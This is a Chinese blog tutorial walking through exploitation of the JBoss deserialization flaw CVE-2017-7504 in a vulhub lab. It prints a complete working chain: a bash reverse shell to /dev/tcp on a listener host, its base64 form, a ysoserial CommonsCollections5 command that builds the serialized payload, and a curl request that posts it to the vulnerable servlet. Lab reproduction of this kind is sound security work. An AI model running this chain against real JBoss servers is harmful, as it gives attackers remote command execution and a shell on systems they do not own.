中间件安全:JBoss 反序列化命令执行漏洞.(CVE-2017-7504)

中间件安全:JBoss 反序列化命令执行漏洞.(CVE-2017-7504)

JBoss 反序列化漏洞,该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中,其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致恶意访问者通过精心设计的序列化数据执行任意代码。


目录:

[中间件安全:JBoss 反序列化命令执行漏洞.(CVE-2017-7504)](#中间件安全:JBoss 反序列化命令执行漏洞.(CVE-2017-7504))

漏洞靶场:

[靶场准备:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客](#靶场准备:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客)

漏洞测试:

[第一步:访问存在的漏洞 URL 链接.](#第一步:访问存在的漏洞 URL 链接.)

[第二步:使用 Base64 编码,把 需要映射连接的代码 进行编码.](#第二步:使用 Base64 编码,把 需要映射连接的代码 进行编码.)

[第三步:使用 工具 把代码生成一个可上传的文件.](#第三步:使用 工具 把代码生成一个可上传的文件.)

[第四步:监听的主机进行监听(我这里是 172.16.10.136 主机,监听端口是 5566 和编码一样就行.)](#第四步:监听的主机进行监听(我这里是 172.16.10.136 主机,监听端口是 5566 和编码一样就行.))

第五步:把生成的文件上传到存在漏洞的页面就行,监听主机那边就会返回对方的命令页面.



复制代码
常用的默认端口:1098,1099,4444,4445,8080,8009,8083,8093 

受影响系统及应用版本    Jboss AS 5.x、Jboss AS 6.x

漏洞靶场:

靶场准备: Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客

复制代码
​
cd vulhub/jboss/CVE-2017-7504        // 切换到漏洞目录.

docker-compose up -d                  // 开启漏洞靶场.

复制代码
http://172.16.10.11:8080

# 访问开启服务的IP地址:8080 

漏洞测试:

第一步:访问存在的漏洞 URL 链接.

复制代码
http://172.16.10.11:8080/jbossmq-httpil/HTTPServerILServlet

http://漏洞的IP地址:端口/jbossmq-httpil/HTTPServerILServlet    # 后面的是存在漏洞的页面.

第二步:使用 Base64 编码,把 需要映射连接的代码 进行编码.

复制代码
bash -i >& /dev/tcp/172.16.10.136/5566 0>&1

bash -i >& /dev/tcp/监听主机的IP地址(kali)/监听端口 0>&1

第三步:使用 工具 把代码生成一个可上传的文件.

复制代码
工具链接:

链接:https://pan.baidu.com/s/11_V9awYc1qnTpG3JIDPwYQ 

提取码:tian

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTM2OjU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser


YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTM2OjU1NjYgMD4mMQ==    
#这个就是上面的 需要映射连接的代码 进行了编码,别的IP则进行别的编码就行.

第四步:监听的主机进行监听(我这里是 172.16.10.136 主机,监听端口是 5566 和编码一样就行.)


第五步:把生成的文件上传到存在漏洞的页面就行,监听主机那边就会返回对方的命令页面.

复制代码
curl http://172.16.10.11:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

curl http://目标IP地址/端口/jbossmq-httpil/HTTPServerILServlet --data-binary 上传这个文件.
相关推荐
智驱力人工智能1 分钟前
疲劳驾驶检测提升驾驶安全 疲劳行为检测 驾驶员疲劳检测系统 疲劳检测系统价格
人工智能·安全·目标检测·目标跟踪·视觉检测
北京耐用通信9 分钟前
打破协议壁垒:耐达讯自动化Modbus转Profinet网关实现光伏逆变器全数据采集
运维·人工智能·物联网·网络安全·自动化·信息与通信
Whoami!25 分钟前
⸢ 捌-Ⅱ⸥⤳ 可信纵深防御应用实践:软件供应链、数据滥用、安全加固
网络安全·信息安全·安全实践·纵深防御
wfsec7 小时前
区块链安全评估:守护数字世界的“安全密码”
安全·区块链
cai_huaer9 小时前
BugKu Web渗透之 cookiesWEB
前端·web安全
jianghx102410 小时前
Docker部署ES,开启安全认证并且设置账号密码(已运行中)
安全·elasticsearch·docker·es账号密码设置
w236173460111 小时前
Linux 服务器安全巡检与加固:从命令到实操(CentOS/Ubuntu 通用)
linux·服务器·安全·安全加固·安全巡检
星哥说事12 小时前
网络安全设备:入侵检测系统(IDS)、入侵防御系统(IPS)的配置与使用
网络·安全·web安全
李白你好12 小时前
一个Burp Suite插件,用于自动化检测图片上传功能中的XSS漏洞
安全·自动化·xss
橘子海全栈攻城狮16 小时前
【源码+文档+调试讲解】基于SpringBoot + Vue的知识产权管理系统 041
java·vue.js·人工智能·spring boot·后端·安全·spring